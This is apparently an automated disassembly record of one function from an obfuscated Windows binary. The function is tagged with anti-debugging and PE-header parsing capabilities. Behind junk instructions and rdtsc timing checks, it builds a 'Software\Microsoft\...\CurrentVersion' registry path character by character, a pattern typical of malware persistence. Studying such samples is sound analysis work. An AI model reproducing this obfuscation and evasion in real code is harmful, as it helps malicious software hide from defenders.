Function at 0x6870d4
Capabilities:
Execute anti-debugging instructions
Parse pe header

Disassembly:
mov word [ebp - 0xc8], cx
rol ecx, cl
cmove cx, cx
sal cx, cl
mov word [ebp - 0xc6], dx
bsr dx, cx
mov word [ebp - 0xc4], ax
clc
sbb eax, ebx
cdq
mov ecx, 0x65
mov edx, 0x6e
mov word [ebp - 0xc2], cx
shrd eax, ecx, 0xdf
sub eax, 0x498b3ff5
bts cx, bx
mov word [ebp - 0xc0], dx
mov eax, 0x74
mov ecx, 0x56
ror dx, 0xcb
shrd edx, esi, 0x81
mov edx, 0x65
cmp ecx, esp
mov word [ebp - 0xbe], ax
bt eax, 0x8f
mov eax, 0x7251166a
dec al
mov eax, 0x72
clc
jmp 0x615332
mov word [ebp - 0xbc], cx
jmp 0x768e85
mov ecx, 0x65
shl edx, 0xa3
test edi, 0x2e2c2c74
shl dh, cl
mov word [ebp - 0xf2], cx
and ax, 0x1f1a
xor ch, 0xa6
mov edx, 0x5c
dec ecx
mov word [ebp - 0xf0], dx
add eax, 0x473f02b4
shl dl, cl
clc
mov eax, 0x4d
movzx ecx, bp
mov word [ebp - 0xee], ax
xchg ch, ah
sar ah, cl
mov ecx, 0x69
xadd al, ah
mov word [ebp - 0xec], cx
dec ch
mov edx, 0x63
mov word [ebp - 0xea], dx
setae ah
mov eax, 0x72
cmp edi, ecx
mov word [ebp - 0xe8], ax
not al
shr ch, cl
and dx, sp
mov ecx, 0x6f
dec ax
xor dl, 3
mov eax, ecx
mov word [ebp - 0xe6], cx
sal edx, cl
shl cl, cl
mov word [ebp - 0xe2], ax
adc cx, 0x4e7c
btr dx, cx
mov edx, 0x73
not eax
mov word [ebp - 0xe4], dx
sub ecx, 0x62bf63e0
mov ecx, 0x66
bts eax, esi
mov word [ebp - 0xe0], cx
add eax, edx
cbw
mov edx, 0x74
mov word [ebp - 0xde], dx
not dx
bts ecx, ebx
mov eax, 0x5c
mov ecx, edi
neg dl
shl cx, cl
mov word [ebp - 0xdc], ax
mov ecx, 0x57
or ax, di
test esp, 0x3b161d7b
movsx edx, si
mov word [ebp - 0xda], cx
btr ecx, 0x45
rcl ah, 0x6c
mov edx, 0x69
mov word [ebp - 0xd8], dx
xor cx, 0x2b0c
ror cx, cl
mov eax, 0x6e
xadd dl, ch
bsr cx, sp
neg edx
mov word [ebp - 0xd6], ax
mov ecx, 0x64
shr dh, 0x10
lahf
mov word [ebp - 0xd4], cx
cbw
bt ecx, 0xef
or eax, ecx
mov edx, 0x6f
sub ecx, 0x2d0d1154
test al, 0xc6
sal al, cl
mov word [ebp - 0xd2], dx
dec dh
and cx, 0x925
mov eax, 0x77
jmp 0x747153
push ebp
add ch, 0x7a
and ah, 0x76
btr ecx, 0x3b
mov ebp, esp
lea esp, [esp - 0x314]
shr dl, cl
rdtsc
mov eax, dword [0x4f65e8]
test ebp, 0x86d6d16
xor eax, ebp
mov dword [ebp - 4], eax
push esi
bt ecx, 0xd8
shr ax, cl
mov eax, 0x53
cmp ax, bp
bt cx, 0x4c
mov word [ebp - 0x100], ax
rcl dh, cl
mov ecx, 0x6f
mov word [ebp - 0xfe], cx
mov edx, 0x66
lahf
mov word [ebp - 0xfc], dx
rcl cl, 0
rdtsc
sbb dh, 0xc9
mov eax, 0x74
rcl ch, cl
rcl cl, 0xa9
test bp, bp
mov word [ebp - 0xfa], ax
sbb ax, bp
mov ecx, 0x77
movzx edx, bx
bsr edx, esi
xor al, 0x78
mov word [ebp - 0xf8], cx
mov edx, 0x61
shld cx, si, 0xf3
sal ch, cl
mov word [ebp - 0xf6], dx
stc
mov ax, 0x5efd
mov eax, 0x72
rol dh, cl
mov cx, sp
mov word [ebp - 0xf4], ax
jmp 0x65428b
mov word [ebp - 0xd0], ax
rcl dl, 0x22
cmova eax, eax
lahf
mov ecx, 0x73
shr ah, cl
shld ax, bp, 0xbf
shrd edx, ebx, 0xd9
mov word [ebp - 0xce], cx
sub dl, ch
mov eax, 0x55170e4c
rol ch, cl
mov edx, 0x5c
cwde
rol ecx, cl
mov word [ebp - 0xcc], dx
ror edx, 0x50
bswap ecx
cmc
mov eax, 0x43
and ecx, ebp
mov word [ebp - 0xca], ax
ror dh, 0xb
mov dl, 0x5e
adc dx, ax
mov edx, 0x72
dec ax
mov eax, edx
bswap ecx
bt ecx, ebp
rcl cl, cl
mov ecx, 0x75
cmp esp, esi
jmp 0x5539fa
mov word [ebp - 0xba], dx
adc edx, ebp
mov ecx, 0x73
bsr dx, di
dec dx
mov edx, 0x69
mov word [ebp - 0xb8], ax
sbb ax, 0x4f69
sub ax, bp
sub esi, esi
sal al, cl
adc ah, bh
cmovno ax, bx
mov word [ebp - 0xb6], cx
add ch, bh
clc
mov word [ebp - 0xb4], dx
mov eax, 0x6f
mov word [ebp - 0xb2], ax
cdq
mov edx, 0x5c
bswap eax
sbb ecx, edx
cmp cl, 0x3f
mov word [ebp - 0xae], dx
xor ch, 0xa3
rol ch, 0xd1
sar ah, cl
mov edx, 0x74
add eax, ecx
mov word [ebp - 0xa8], dx
cmc
mov eax, 0x49
sbb ch, 0xe6
bsf cx, di
mov word [ebp - 0xac], ax
bsr cx, sp
mov edx, 0x6e
adc ecx, esi
mov word [ebp - 0xa2], dx
setno ah
lahf
clc
mov ecx, 0x6e
btc eax, ebp
rol dl, cl
rcr dh, 0x90
mov word [ebp - 0xb0], cx
xor al, 0x15
ror dh, 0xbf
cdq
mov word [ebp - 0xaa], cx
mov eax, 0x65
btr cx, 8
mov word [ebp - 0xa6], ax
and cx, 0x7f43
seto cl
clc
mov word [ebp - 0xa0], ax
cmp dx, bp
mov edx, 0x20
mov ecx, edx
add al, bl
mov word [ebp - 0x9c], dx
btc edx, 0xfb
rol al, cl
mov ecx, 0x72
add ax, dx
mov word [ebp - 0xa4], cx
mov al, 0x5e
rcr ax, cl
shl cl, cl
mov eax, 0x53
sbb cx, dx
mov cx, si
sbb dl, 0xa6
mov word [ebp - 0x9a], ax
btc cx, ax
bt dx, ax
mov edx, 0x74
cbw
xor ax, bx
cwde
mov eax, edx
and ch, ch
add ch, 0x9b
mov word [ebp - 0x96], dx
mov word [ebp - 0x94], ax
movzx dx, dl
rcl cx, 0x6a
cbw
mov ecx, 0x74
and edx, eax
mov word [ebp - 0x9e], cx
mov edx, 0x6e
sub cl, al
adc eax, edi
mov word [ebp - 0x90], dx
jmp loc.00411cbb